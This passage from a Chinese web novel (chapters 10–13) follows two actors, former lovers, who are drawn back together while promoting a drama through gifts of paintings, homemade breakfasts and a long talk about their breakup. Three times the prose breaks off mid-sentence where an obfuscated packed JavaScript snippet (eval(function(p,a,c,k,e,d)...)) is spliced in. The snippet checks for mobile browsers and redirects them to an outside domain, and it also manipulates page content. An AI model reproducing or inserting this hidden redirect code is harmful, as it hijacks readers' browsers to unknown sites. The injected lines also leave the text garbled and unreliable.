“一起？”左知攸切了一声，却没有发短信拒绝，只是嘴里嘟嘟囔囔，“谁要跟你一起。” 没得到回复，宁柏右忐忑了一晚上，鼓起的勇气又蔫了，容光焕发的脸庞也变得暗淡，失落地拿着手机，听到短信声音就点开看，见不是自己想要的短信，又低头emo。 小胡来电，他看了两眼，顶着淡淡的黑眼圈接听：“喂？” “宁老师，打听到了，左老师那边定了下周三的时间，地点就在他家。” “嗯，我知道了，谢谢。” 嘟嘟嘟...... 电话挂断，小胡疑惑地看着手机，就这样？ 宁老师不多说点什么？ 都打听到了，怎么一点都不开心的样子？ 不会又emo了吧？ “唉，这么多年了，怎么每次遇到跟左老师有关的事情就容易emo。”小胡也没什么好办法，心病还须心药医。 【狗东西：左老师，直播前一起试妆是不是方便点？】 和上次一模一样的短信又一次发到左知攸的手机里，他看一眼就知道是怎么回事。 “啧。”这是又缩回壳里去了？ 不过，也比过去有出息多了，至少还知道伸伸触角试探呢。 “不对，我欣慰做什么？”左知攸翘起的嘴角一秒收回来，把手机扔沙发里，冷哼，“狗东西有没有进步关我什么事？一份工作而已，爱来不来，问我做什么。” 11. 第 11 章 “左老师，我刚刚又碰到宁老师了，他说让我把这个给你。”小方进门后，小心翼翼地抱着两个很大硬纸盒子走进来。 左知攸正坐在阳台的摇篮椅中看着cp视频乐得不行，闻言下意识伸手要暂停视频，顿了顿，又继续看，点点头，看都没看，随意指了个位置：“放那吧。” 小方哦了一声，将盒子放到地毯上，搬着比较小的那个去阳台，打开露出里面的一套服饰。 “左老师，这是明天拍摄广告要穿的衣服，您看看尺寸适不适合，不适合的话，我去找广告方改。” “外面有点凉，去屋里等。”左知攸把视频暂停，手机放到小桌子上，拿起衣服去屋里换，小方笑着点头，抱着盒子去坐沙发。 过一会儿，左知攸穿着自己的家居服出来，把衣服放到盒子里。 “挺合适的，不用改了。” 小方并不意外，本来衣服就是按照左老师的尺寸来做的，只是广告方很重视这次新品发布，做好了还让他带来让左老师试试。 “营养老师的食谱和教练的运动计划做好了吗？”左知攸想起下部戏的瘦身要求，顺口问了。 “差不多做好了，这两天他们正在交流改善彼此的策划书，应该很快就能让您开始瘦身。”小方点头，脱下背包，拉开拉链，拿出平板，“志哥说这是他和周雯拟的营销计划，让您熟悉一下。” 左知攸接过来，看了两眼，觉得真的很做作。 “cp营业需要这么刻意吗？一看就不好磕，不刻意营业，至少我们俩还有点纯恨感呢，要是按照上面的方案营业，连这点感觉都没了。” “这个......剧组那边说，最好能甜一点。” “这也不甜啊，不是纯做作吗？” 小方挠头，小声解释：“其实剧组那边说，也不用刻意营业，自然点也行，可志哥他们觉得，要是不加以控制，你们俩可能一点互动也没有，就算有互动，也跟甜沾不上边，现在剧还没播出，也不知道反响怎么样，他们怕赶客。” 在圈里混了十年，左知攸也知道大家在担心什么，有点无法反驳。 都说粉丝是下限，路人是上限，想要吸引更多路人来看剧，还得引起大家的兴趣，左知攸身为主角，肯定要扛收视，闹脾气肯定是不行的。 想到最近的直播，他有些担心：“定档直播流程拿给我看一下。” 小方闻言，去找李志要，过一会儿打开给左知攸看。 就是简单介绍自己的角色，聊聊对故事和角色的理解，和弹幕聊天这些烂大街的常规流程，没什么别出心裁的设计。 如果是其他很有默契，关系好的搭档，就算枯燥的流程也能有奇妙的化学反应，可他跟宁柏右不仅是前任，还是十年不交流，针锋相对的死对头，化学反应肯定是没有的。 他也知道，不是李志他们不专业，而是怕他们互动太尴尬，定流程的时候就不敢发挥。 左知攸起身，走到阳台往下看，轻声切了一声，狗东西，该在的时候不在。 “你先回去吧，让志哥问一下狗东西那边有没有空，我想在直播前拍几个vlog培养默契，免得直播的时候发挥不好，至于直播流程，改一改吧，只要对剧有帮助，我都会配合，不用担心。” 话虽如此，小方还是有些担心，想了想，还是问了：“如果是平时，我们自然不担心，可这次是和宁老师搭档，您确定吗？” “确定。” “可前段时间，您......” “都没官宣定档，正式的宣传期都没到，还不准我耍耍小脾气了？”左知攸轻哼，“放心吧，我知道轻重，配合宣传是我的工作之一，就算搭档是仇人，我也会咬着牙配合，更别说只是个前任了。” 该有的职业道德他还是有的，谁来都动摇不了。 “那我去跟志哥说。”小方又跟他说了一点其他工作的事情，叮嘱他好好吃饭就走了。 处理完工作，左知攸准备去继续看视频磕cp，看到地毯上的另一个大盒子，犹豫片刻，还是蹲下来打开。 映入眼帘的是很熟悉的画风，熟悉的他。 画中的他穿着上次和宁柏右出席盛典时穿的白色蜀绣西装，站在楼梯上方，居高临下，右下角还写了日期。 宁柏右很会画画，相恋时，左知攸发现这件事情，见他从没主动给自己画过画，就老是缠着他，有事没事就让他画自己，画他们的合照，在他们的出租屋，不知道留下了多少画像。 想到过去的事情，他的胸口胀痛，过了一会儿才叹气。 时隔十年，狗东西的画风更成熟了，明明感觉这些天都往他这边跑，也不知道是什么时候画的，该不会是晚上还加班吧？ “画画要花费那么多精力，也不怕猝死。”左知攸嘟嘟囔囔，手抚摸着自己的画像，小心地拿起来。 画纸很大，几乎有半人高，茶几上放着不少东西，放不下，他就转身放到沙发上。 第二张是用他最近在WB发的杀青照来画的，第三张，第四张，都是用他在公开场合发的照片来画的，一直翻到第十八张才看到一张他站在公司走廊的画像。 每一张画，都是宁柏右亲手画亲手上色，或许没有照片那样真实，却更传神。 一滴泪掉到画上，他慌张地伸手去擦，摸了一下发现会把颜色晕开，不敢再动，小心把画放下，用手背擦拭自己的脸，觉得自己没出息。 “我哭什么，狗东西宁愿把这些画藏起来也不让我看，那我就别在意好了，有什么好哭的。” 嘴上不在意，手上却仔仔细细地拿出每一张画来看，从白天看到黑夜，开着灯来看。 最后一幅画被拿出来，日期是十年前，他们分手后，他在校门口买东西时的背影。 时间再往前的画像，一张都没有。 “狗东西，以前的画不会给我扔了吧？”左知攸又慌又气，咬着后槽牙，拿出手机准备打电话骂人，听到自己的声音很沙哑，带着明显的哭腔，擦擦眼泪，默默把打电话换成发短信。 刚打开手机，发现狗东西早已给自己发了一条短信。 【狗东西：以前的画我一直收着，怕你生气撕了，没敢给你。】 “切！”左知攸被气笑，翻着白眼，“我才没那么容易生气。” 那可是他一次次撒娇换来的画像，他才不会撕。 感觉自己好像又要哭了，眼眶都辣辣的，他吸着鼻子忍住泪意，一张张把画像按顺序放回盒子里面。 画纸看起来都很新，明显这十年被保存得很好，应该是想要送给他才拿出来，这么多心血被主人不珍惜地叠在一起，说穿了也只是在讨好他罢了。 可是...... 这十年间积攒的气，好像真的被一张张画像冲淡了。 “不对，我哪里生气了，我早就放下了。” 左知攸用力把盒子盖上，放到沙发上，走进洗手间洗脸，摸着自己的眼周皮肤，感觉真的火辣辣的疼。 不行，哭太多了。 明天还要拍广告呢。 【狗东西，明早来把画带回去，我这里可没有地方放。】 他恶狠狠地发了一条短信，把手机丢到沙发上，进去洗澡，出来紧急护肤，尤其是眼周的皮肤，更是重点关照区域。 “攸攸真的把画看了。”宁柏右坐在黑暗中，抱着亮起的手机，松一口气，喜色爬上脸庞。 至于那句狗东西，没事，骂就骂吧，他难过归难过，但不会放弃的。 -- 咔擦！ 小方开门走进来，门却没关，一直敞开着，外面站着一个高大的男人，手里提着早餐，表情忐忑。 “左老师，我在外面遇见宁老师，他说是你让他来的，我就带他进来了。”小方把带来的早餐放到餐厅，见人没出来，去房间外敲门。 正在屋里贴消肿眼贴的左知攸看向门口，轻嗤。 行，果然是他认识的那个狗东西，都让上门了，还连门都不敢进，真怂！ “知道了，我去看看。”左知攸把眼贴贴好，擦擦手走出去。 小方回到餐厅，一边摆早餐一边八卦地偷看。 左知攸出去瞧见狗东西妆发齐全，衣着精致，跟出席活动似的，也不给他面子，冷脸走到门口，倚着门框抱臂，瞥见狗东西手里还提着早餐，心里哟了一声。 可以啊，狗东西又进化了，连早餐都敢带了。 可惜，这进化没完全，这还不是连门都不敢进。 “左老师，早。”宁柏右肉眼可见地紧张，连打招呼的手都很僵硬，随后发现他脸上的眼贴，进而发现他的眼睛好像有点肿，知道他是哭了，但没敢觉得是因为自己，连关心都要小心翼翼，“你的眼睛怎么了？怎么有点肿？” “看剧本入戏了，不行吗？”左知攸抬手摸摸一个眼贴，语气很不好，“妆发齐全，要出去工作？等着，我去把画拿出来，不敢劳烦您等。” “我......”宁柏右有点胆怯，话卡了壳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950558|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，想起过去的惨痛教训，很快就叭叭地解释，“等等！我不是去工作，是为了来见你，想有个好的形象，就早起打扮了，我昨晚还护肤了，哦，对了，这是我给你带的早餐，左老师，你要不要尝尝？” “我有早餐。”左知攸回头，不屑昂首。 “我亲自做的。” “你还会做饭？”左知攸忘了拿捏姿态，大吃一惊，迅速把早餐拿过来，当场打开，卖相精致，好奇地闻了下味道，感觉很合他的口味，坚持，他又有些不忿，大声指责，“宁柏右！” “我......” “你这不是会做饭吗？”左知攸把小笼包扔回他怀里。 宁柏右有些手足无措：“我，我是会。” “那以前怎么跟我说不会？每次emo的时候还得我一个大少爷来学做饭给你吃，你知道我切菜的时候手指被割了多少次！”左知攸想想都为自己委屈，下意识伸出手去，想起来已经过去十年了，伤口早就没了，又伸回来，叉腰，咬牙，“你最好给我个解释。” “不是！我以前真的不会，这是我这些年学的，炸了不少锅，毁了不少次厨房才学会的。”宁柏右汗流浃背地举手发誓，“真的，我不骗你，周雯可以作证，她和我的团队，帮我收拾了不少烂摊子。” 左知攸怒气渐消，冷哼着把小笼包抢回来：“算了，你虽然不做人，可也不是这种会耍滑头的人，对不起，我误会你了。” “没关系，你生气是应该的。”宁柏右小心翼翼地看他的脸色，见他好像不生气了，松一口气。 左知攸看着在饭盒里滚到一起的小笼包，想问他为什么分了手还学这个，可又觉得问了给他脸，干脆不问了。 可宁柏右却能感受到他的疑惑，主动解释。 “我，其实我以前就想学做饭了，只是偷偷学，学不会，没敢跟你说。” 切，又是做了不说，现在说这些有什么意义？ 左知攸都不知道这是第几次了，懒得说他。 “其实我每次看你为我做饭，虽然高兴，其实更心疼。”宁柏右继续。 左知攸抱着小笼包，不满：“我可没感受到，我只知道，每次你难受的时候，我给你做饭你就会高兴起来。” “都怪我以前不会表达。”宁柏右认错，“对不起。” “行，看你态度不错，原谅你了。”左知攸好奇睨他一眼，眼底隐隐有自己都不知道的期待，“那你学这个做什么，咱们分都分了。” “虽然我觉得复合希望很渺茫，但我还是抱有一丝侥幸，我拍戏成绩不错，赚了不少钱，能挥霍了，就继续学，想着如果我们真有机会复合，以后就给你做饭。” 左知攸嘴角偷偷翘起一瞬间又放下来，不得不承认，狗东西进化的程度好像比较深，竟然都会说甜言蜜语了。 不对，什么甜言蜜语，切，他才不在乎。 “来拿画的吧，等着。”他也不让狗东西进门，带着小笼包回去。 小方伸长的脖子一瞬间收回来，装作很忙的样子，把早就摆好的早餐换位置。 左知攸走过来瞧见，把小笼包放到桌上，抬起食指戳戳他的肩膀：“小方，你可以啊，还想看我热闹？” “没有没有。”小方赔笑，把小笼包拿来摆好，“有点凉了，我去帮您热热？” 左知攸点点头，出去把装画的盒子搬起来拿出去，动作看似粗鲁，实际上等宁柏右接稳了才放手。 “拍vlog的事情，时间安排好了吧？” 宁柏右脑袋一片空白，什么vlog？ 难道有惊喜？！ 他喜上眉梢，想要问，又不敢问，想起昨天他为了等攸攸的短信，都没看WX，想来是错过了这个好消息。 “当然，都安排好了，看你时间，我这边一定配合。” 看他这样子就知道对此事不知情，左知攸自认对他还算了解，大概猜得到是怎么一回事，压住又想翘起的嘴角，冷淡地嗯了一声，把门关上。 “我有病啊。”他一边往里走一边小声嘀咕，“怎么又那么容易被哄啊，他因为一个vlog高兴，那就高兴好了，我有什么好高兴的，没出息。” 左知攸，你值点钱吧，难道还想回头不成？ “不可能，绝对不可能。”他绝对不允许自己又在宁柏右身上栽跟头。 最多，看在宁柏右诚心道歉的份上，放下过去，不生狗东西的气了。 再多的，也没了。 对，就是这样。 12. 第 12 章 全球知名高奢服装品牌，U.E，A国总部。 化妆间。 左知攸端坐在软椅中，旁边围着一堆工作人员，化妆师看见他有点肿的眼睛稍微吃惊。 “左老师，您的眼睛有点肿，我们遮一下。” “抱歉，昨晚看剧本入迷了，耽误大家工作，不好意思。”左知攸轻声道歉。 U.E的时尚总监杰克笑着道：“左老师说笑了，这一点肿不影响什么的。” 第二天要拍广告还哭肿了眼，虽然有做紧急消肿，看不太出来，可一旦有特写镜头就能影响拍摄效果，这次是左知攸的错，他自然不会听人家说没关系就这么认为，主动道：“如果今天的拍摄不满意，我们这两天再约。” 杰克笑得更加开心：“左老师放心，就算要补拍也不会太耽误您的时间。” 左知攸轻声感谢他的不计较，闭上眼睛让化妆师工作。 化妆和拍摄不是短时间能完成的工作，李志过去跟杰克闲聊，小方等人订的咖啡到了，趁大家没有开始工作，赶紧笑着分发下去，刷刷大家的好感度，尽量降低大家的不满。 虽然左知攸平时在外的表现比较高冷，可错了就是错了，端着架子或许在短时间内没事，可在娱乐圈混，情商可不能这么低。 你可以傲，但你不能目中无人，大家是合作关系，不是什么封建时代的上下级。 否则，等你露出破绽的那一刻，就会发现什么叫做墙倒众人推。 左知攸他有实力有口碑有流量，主动道歉，还做出补救的前提下，U.E的工作人员也就当这件事情没发生过，连一字半句都没有传出摄影棚。 完成今日的拍摄，左知攸和杰克吃了个饭，聊了一会儿就告辞了。 回到放车上，他瘫倒在椅子里：“累死我了。”让我吃口cp发的糖补补。 “左老师，志哥已经跟U.E约好了明天中午补拍的事情。”小丽端着果汁过来，“您喝点水。” “嗯。”左知攸接过来喝了半杯，拿出手机找视频看，他刚刚中途休息的时候听到有工作人员在吃瓜，说是有一个二线小花和一个刚出道的小透明偷偷谈了，“唉，小透明就是找不到物料啊，连粉丝都没几个，连糖都难找。” “左老师是在说海沫沫吗？”正在为他整理今日拍摄物料的小丽闻言，八卦雷达启动。 左知攸眼睛一亮：“可以啊，你最近的八卦能力见长，我就提了句你就知道是谁。” “我加了不少群，知道点内情。”小丽凑过去，李志和小方两人本来也在忙，闻言也坐过来。 “小丽大人，快说快说。”左知攸给小丽塞了个果盘，“您吃水果，别累着。” 明明车里就这么几个人，小丽却下意识压低声音：“我跟你们说，海沫沫这次的男朋友真的超级帅，我们圈内的好几个八卦群都传疯了。” “他们不是偷偷恋爱吗？怎么感觉大家都知道的样子？”小方疑惑。 “切，只要没曝光，圈里就算人尽皆知又怎么样？”小丽回了一句。 左知攸瞪了小方一眼，戳戳他的肩膀：“方同志，你怎么回事？听八卦呢，别打岔啊。” “继续继续。”李志也好奇呢，“有多帅？和咱们左老师，或者狗，咳，宁老师比怎么样？” “那自然是不能跟咱们圈里的两大门面比了。”小丽捂着嘴笑，“我说的帅是凡人那种，不碰瓷神颜。” “狗东西比我还差点。”左知攸摸摸自己的帅脸，坚决不承认他和狗东西是一个层次的。 李志瞥他：“不是说不能打岔吗？” 众人沉默一秒，小丽主动回归话题：“我听说那个男的和海沫沫在高中时还是初恋。” “真的假的？” “我们群里都有人扒出他们高中论坛里的合照了，消息绝对没有错，而且海沫沫这次好像很恋爱脑，已经让自己经纪人帮男友撕了一个好饼，好像是要上什么综艺节目。” “他们公司的综艺节目？”李志摸摸下巴，“称得上好饼的话，难道是《和朋友一起去旅行》？” “她男友不是他们公司的，也不一定是这个饼。”小丽又道。 话音一落，几个吃瓜群众异口同声：“什么？！” “她疯了吗？”小方难以置信，“好不容易有个爆剧，还没站稳呢，谈恋爱也就算了，还让经纪人给男友撕饼，这也就算了，男友还不是自己公司的人？” “她不会被下蛊了吧？”左知攸不得不怀疑。 李志瞥向左知攸：“还好你当初跟宁柏右分的早，不然我觉得以你当初上头的样子，也可能做出这种事情。” 左知攸冷哼：“首先，我和宁柏右是一个公司的，其次，宁柏右不需要我接济，最后，我要是恋爱脑成这样，我还会跟他分手吗？” “这倒也是。”李志点点头，“小丽，你继续。” “我们好几个群都在疑惑，连我们都知道的事情，海沫沫的公司也知道吧？可她的公司一直没动作，好像在默认这件事情，也不知道内部有什么秘密。”小丽很是好奇，用手肘推推李志，“志哥，你人脉广，打听打听呗？” “我堂堂左影帝的金牌经纪人，去打听一个二线小花的事情，我不要脸的啊？” 左知攸露出微笑：“要不我去？” 李志嘴角抽搐：“我真是欠了你们的，算了，这个脸还是我来丢吧。” “左老师今天心情很好诶。”小丽八卦雷达启动，“自从《司鹿极梦》重启，您就没跟我们一起吃过瓜，虽然还跟以前一样喜欢磕cp，可好像每天都心事重重的。今天是怎么了？有什么好事发生？” 李志看向小方：“我记得宁老师和左老师是一个小区的，怎么？宁老师这几天表现很好？” 左知攸觉得他们也太夸张了：“你们什么意思？我心情好不好关他什么事？” “口是心非。”小丽嘟囔。 口是心非？！ 左知攸心里咯噔一下，笑容缓缓消失，所以，他真的因为宁柏右的几次讨好就高兴了？ -- 叮咚~ 大清早的，铃声响起。 早起去阳台摆弄花瓶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950559|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的左知攸疑惑，天那么早，小方就过来了？ 走下一楼，到可视机前点了一下，发现是宁柏右那狗东西，今天又换了身衣服，举起一个纸袋子在门铃前有些紧张地笑。 左知攸按下开门键，把一楼的门打开，靠在门口，等了一会儿，看人过来了，没什么好口气：“宁老师，您没有工作吗？” “最近休息。” “哟，糊了？” “推了，没心情。”宁柏右笑着举起手中的纸袋，“我给你做了小馄饨，是你喜欢的虾仁肉馅，要不要尝尝？” 左知攸没有接：“小方会给我送早餐。” 宁柏右有些失望，手放下一半又重新举起来：“换换口味？昨天的小笼包味道怎么样？喜欢吗？” 左知攸想起昨天自己就顾着吃小笼包，其他早餐一口没动的事情，觉得有太给面子，不屑冷哼：“我根本就没有吃。” “不喜欢小笼包也没有关系。”时刻观察他的宁柏右没有错过他那一瞬间的不自在，看破不说破，笑容比刚才放松一些，“今天的馄饨我调整了味道，偏甜，和以前学校食堂的小馄饨味道有点像，你要是喜欢，我最近回学校，找师傅们学一学，再给你做。” “我喜不喜欢关你什么事，事真多。”左知攸把袋子抢过来，“行了，早餐也送了，滚吧，我这里不待客。” “那我走了。” 左知攸把门关上，提着袋子走进去，端出里面的饭盒，打开盖子后，鲜香的馄饨味扑鼻而来。 看了片刻，他有些犹豫要不要吃。 又过一会儿，他又觉得想吃干嘛不吃，反正是给他的，那就是他的东西，吃两口怎么了？ 思及此，他拿出里面的勺子尝了一口汤，眉毛挑起：“味道还真有点像。” 馄饨很烫，十几分钟也才吃了几个，小方提着早餐开门进来，进了餐厅闻到馄饨味，眼睛一转就知道是怎么回事，八卦地小步走过来：“左老师，这是您买的？” 左知攸表情有些不自然：“嗯，怎么了？” “没，没，那这些早餐您还吃吗？”小方示意自己手上的早餐。 “你吃吧。” “好嘞。”小方坐下来吃早餐，一边吃一边偷瞄，暗道看来宁老师有机会复合啊。 吃完早餐，小方开始打扫卫生，左知攸坐在阳台看剧本，快到中午的时候，他们提前去到U.E化妆，把补拍拍完，吃了饭回来遇见正在门口等他的宁柏右。 “我给你做的下午茶，要不要尝尝？” 左知攸靠在车窗边，下意识想要端着架子拒绝，想到小丽那句“口是心非”，想到这两天一口不剩的早餐，心里不是滋味，打开车门走出去，表情认真。 “宁柏右，我们聊一聊吧。” 宁柏右察觉到了，笑容变得勉强，失落地沉默了三分钟才道：“我大概知道你要说什么了，可我们不是说过，只要你......” 左知攸把戒指摘下：“聊聊吧，我们现在的状态不对。” 宁柏右盯着戒指，眼眶微红，握紧袋子：“好，聊聊。” 13. 第 13 章 左知攸打开门，换鞋去吧台倒水：“喝点什么？” 宁柏右跟在后面，怔怔地弯腰换鞋，缓缓抬头看向这座房子，心里很想把这座住着他所爱之人的房子记在脑海里，可脑海里却一片空白，什么都记不住，沉默着走到客厅里，也不知道该做什么。 “温水可以吗？”左知攸的语气不像平时那样对他颐指气使，很平静，声线一点也不冷。 可宁柏右宁愿他骂自己，哪怕打也行，这样的平静，让人恐慌。 “温水可以吗？” 询问第二次重复，宁柏右终于有了点反应，嘴唇苍白，微微点头：“可，可以。” 左知攸再倒一杯水，走过去坐在沙发上，把水放在茶几上：“坐吧，我们好好聊一聊。” 宁柏右嗯了一声，恐慌之下，甚至都不敢坐近，走过去坐在他对面，隔着一个茶几，低着头很拘谨很沉默也很阴郁。 他这个样子，像极了十年前，和左知攸那段恋情的后半段，拘谨，自卑，惶恐，不复往日的魅力。 其实，左知攸看他这个样子，心里也不好受，他今天真的是想找宁柏右好好聊一聊，没打算施压，也没打算质问，就起身把温水放到他手里，像过去一样，知道如何才知道能安抚好眼前的这个男人。 把戒指戴回手上，在男人眼前晃了晃，过了一会儿，轻声问：“你好点了吗？” 到底是过去了十年，他们都成熟了，宁柏右整理情绪的速度比过去快了不是一星半点，轻轻点头，深吸一口气，红着眼眶，却没有含着泪，抬首点头，语气尽量平静：“嗯，你说吧，我听。” “这两天，我觉得我们的状态都不对，我知道你在做什么，想复合，所以来讨好我，想弥补过去的遗憾。” 宁柏右点头：“我知道你想说什么，你心里早已放弃复合这个想法了，对吗？” “嗯。” “我一直都知道，只是，我以为我还有机会。”宁柏右紧紧抓着裤子，再次低下头，声音沙哑，“过去我对你造成的伤害我还没有一一道歉，我......” “还记得我们分手的原因吗？” “记得。”宁柏右低着头，本想一直这么说，可却不愿像过去一样当缩头乌龟，鼓起勇气抬头面对，“你没得到过我爱你的信号，我不会爱，却渴望你的关心和爱，像个蜗牛缩在壳子里。” “以前我就是这么埋怨你的，就这么埋怨了十年，渐渐还觉得自己已经放下了。”左知攸看向桌上那束早已枯萎的黄玫瑰，“你送我的那些画像让我想起来，其实，你一开始是会爱人的。” 宁柏右嘴唇蠕动，苦笑：“那算会爱人吗？” “怎么不算？”左知攸目光怀念，“还记得我们为了培养默契开始同居那会儿，刚开始，你看似配合，实际上心墙高高筑起我每天都觉得好累，抱怨你一点也不配合。 后来，你才逐渐瓦解对我的防备，我们甚至还恋爱了，虽然都是我在主动，可我能从你的眼神里看出来你对我的爱，我撒撒娇你就愿意配合我的一切要求，我无理取闹你也会默默在旁边笑着看我，平时你会默默关注我的情绪，会默默保护我，那个时候，就算你看起来没有主动为我做过什么，我都不会埋怨。 再后来，你变得胆怯，缩进壳里，我使尽力气一次次把你拉出来，可你很快又因为别的事情缩回去，但我没想过要怨你，真正让我无法接受的是，我竟然逐渐感受不到你的爱意，我开始彷徨，开始怀疑我们之间的感情，我一次次地对你发出请求，想让你回应我，可你回应的次数越来越少，到后来，彻底消失，我对你有了失望的情绪，失望积攒多了，我也就想离开了。” 宁柏右再也忍不住，泪水夺眶而出，手掌捂着脸弓着腰哑声哭泣，不停道歉：“对不起，对不起，对不起......” 左知攸叹气，伸手拍着他的后背，抽纸巾给他擦拭溢出指缝的泪水。 还记得刚开始恋爱的时候，他还觉得宁柏右是一个比他成熟的男人，觉得有个宠着自己的男朋友真好，谁能想到，宁柏右的成熟都是伪装，最后反倒是幼稚的他成长得更加成熟，照顾人的那个变成了他。 许久后，宁柏右逐渐恢复平静，红肿着眼睛拿纸擦泪，深呼吸让自己的情绪稳定下来：“你继续吧。” “这十年来，其实我一直都没敢仔细回想过去的细节，我一直都觉得错全在你，是你辜负了我，可这两天一一回想，发现其实我们都有错。” “错的是我。”宁柏右表情惨淡，“和你没关系。” “不，其实我们都退缩了，你因为心理原因退缩，我对你的耐心不够，如果那时候我们足够成熟，愿意给那段恋情更多的时间，你能控制一次自己的情绪就能控制第二次，我想要的回应也会到来，其实也不至于走到分手的地步。”左知攸说着说着，泪也流下来，“我们都不够爱彼此，想想也是，短短几个月，能有多爱。” 宁柏右吸吸鼻子，抽了张纸，想给他擦眼泪，却发现自己没资格，只能把纸放他手上：“我给你的安全感从来都不够，也不怪你，这不算错。” “我给你的安全感也不够，不是吗？”左知攸轻轻擦拭眼泪。 “不，是我自己的原因，没有人有资格让另一个人无条件为自己妥协。”宁柏右摇摇头。 左知攸不准备纠结这个：“好吧，主因在你，我只犯了小错，可错都错了，事情已经发生了，时间已经过去十年，我们是不是该往前走了？” 宁柏右攥紧纸巾：“那包括追求你吗？” “其实你想做什么，从来都是你的自由，但我并不打算回应。”左知攸叹气，“可这些日子，我发现我又做错了。” “你讨厌我是应该的。” “不是这个。”左知攸摇头，“既然我已经决定不会复合，那我就不该让你觉得还有机会，我以为我一直都是这么做的，可小丽点醒了我，我看似拒绝了你，实际上一直都在口是心非，我们当年谈恋爱的时间虽然不长，对彼此却很了解，你感受到我的心口不一，自然就不愿意放弃。” “我......” “我这么做，和吊着你有什么区别？”左知攸抽了张纸，放到他手里，扯动嘴唇调侃，“擦擦，你又哭了，明明长得人高马大的，怎么比我还能哭。” 宁柏右擦眼泪，让自己别哭得那么狼狈，努力勾起一抹笑：“我就知道，你这么平静地找我说要聊聊，肯定就是想要掐死我最后一丝希望。” “向前看吧，我们的态度如果还很别扭的话，会影响接下来的工作，爱情事业两难全，我们抓住一个也不错了，对吧？” “那我的过错，你也不追究了？”宁柏右含着眼泪，面露乞求。 “我感受到你的诚意了，放过你了。”左知攸看进他眼里，“宁柏右，也放过自己吧。” 宁柏右嘴唇颤抖，过去的一幕幕在脑海中显现，他止住眼泪，逼自己冷静下来，主动迎向左知攸的视线：“攸攸，你能放下吗？” 左知攸犹豫一秒，点头：“我能。” “如果可以，怎么会单身十年？人生有几个十年？一个十年都放不下，再来几个就能放得下吗？” 左知攸怔住，不知道该如何回答，其实他也不知道答案。 “你知道我还爱着你，你对我也还有在意，你也知道，只要你点头，我们就能复合，对吗？”宁柏右已经不是十年前那个只知道躲在壳子里的少年，含泪笑了笑，“你只是在害怕，害怕我们会再沦落到以前的境地，对吗？” “......”是，但那又怎么样？ “你脾气大，又骄傲，我过去那么混蛋，你没把场子找回来，怎么可能消气？”宁柏右笑得更加开心，“你就这么放过我，甘心吗？就为了一个工作，憋了十年的气就想这么咽下去，我怎么不知道你什么时候变得那么大度了？” 左知攸无法反驳，移开视线，微微咬牙：“我的大度，你无法想象，我已经不是过去的我了，为了工作让步，怎么了？” “我们的左大影帝这么不专业？连情绪都无法控制？那你还比不上我。” 说别的也就算了，说控制情绪比不上宁柏右，左知攸就忍不了了，眼里冒火：“就你？一点小事就能emo的家伙，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950560|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉的眼泪比喝的水还多吧？还好意思说比我厉害。” “我说的是工作，你什么时候见过我因为情绪影响工作的通稿了？” “呵，也就是刚分手那会儿你还没毕业，有时间过渡罢了。” 宁柏右挑眉：“谢谢夸奖。” “你,,,,,,” “过去那段恋情，我们给的时间不够，这次我们再给彼此足够的时间如何？”宁柏右回归正题，“你的恐惧归根到底是因为我的情绪不够稳定，怕我又像十年前那样，把自己封闭起来，既然如此，再给我一段时间吧，攸攸，我来证明自己，可以吗？” “你是听不懂人话吗？”左知攸头都大了，“我不想再和什么感情纠缠了，咱们独美，拼事业不好吗？” “那好，我换个说法，我们约定过，只要你不摘下戒指，我们就还有机会。” 左知攸把刚刚摘下的戒指拿起来展示，宁柏右笑容依旧：“左老师，这样会影响工作的。” “一个戒指而已，解释说不小心掉了不就好了，而且我什么时候跟你约定了？我答应了吗？” “就像你说的，你在口是心非，你当时没答应，反过来不就是答应了吗？” “狗东西，你真是长进了。”左知攸深吸一口气，冷嘲热讽，“连歪理都会了。” 又被骂了，可形势大好，宁柏右头脑越发冷静：“以前可是你先追的我，热脸贴冷屁股才把我追到手的，你现在是怕再一次对我动心才不敢答应我的提议吗？” 左知攸气得直瞪他，大声反驳：“什么热脸贴冷屁.股，我喜欢你，稍微热情点怎么了？你不会说话就不会说！” “那就是死缠烂打。” “你都没坚持几天就......就......哼，那算什么死缠烂打。” “我先喜欢上你的，当然没办法矜持。”宁柏右笑容温柔，眼眸深情，“你那样光芒四射，谁会不动心呢？” 左知攸脸上怒气一滞，有些怀疑，这狗东西先喜欢的他？不会是哄他的吧？ “你看，我这么奸诈，明明喜欢你，却在你追我的时候还等了几天才答应，后来还辜负了你，你就这么放过我？” 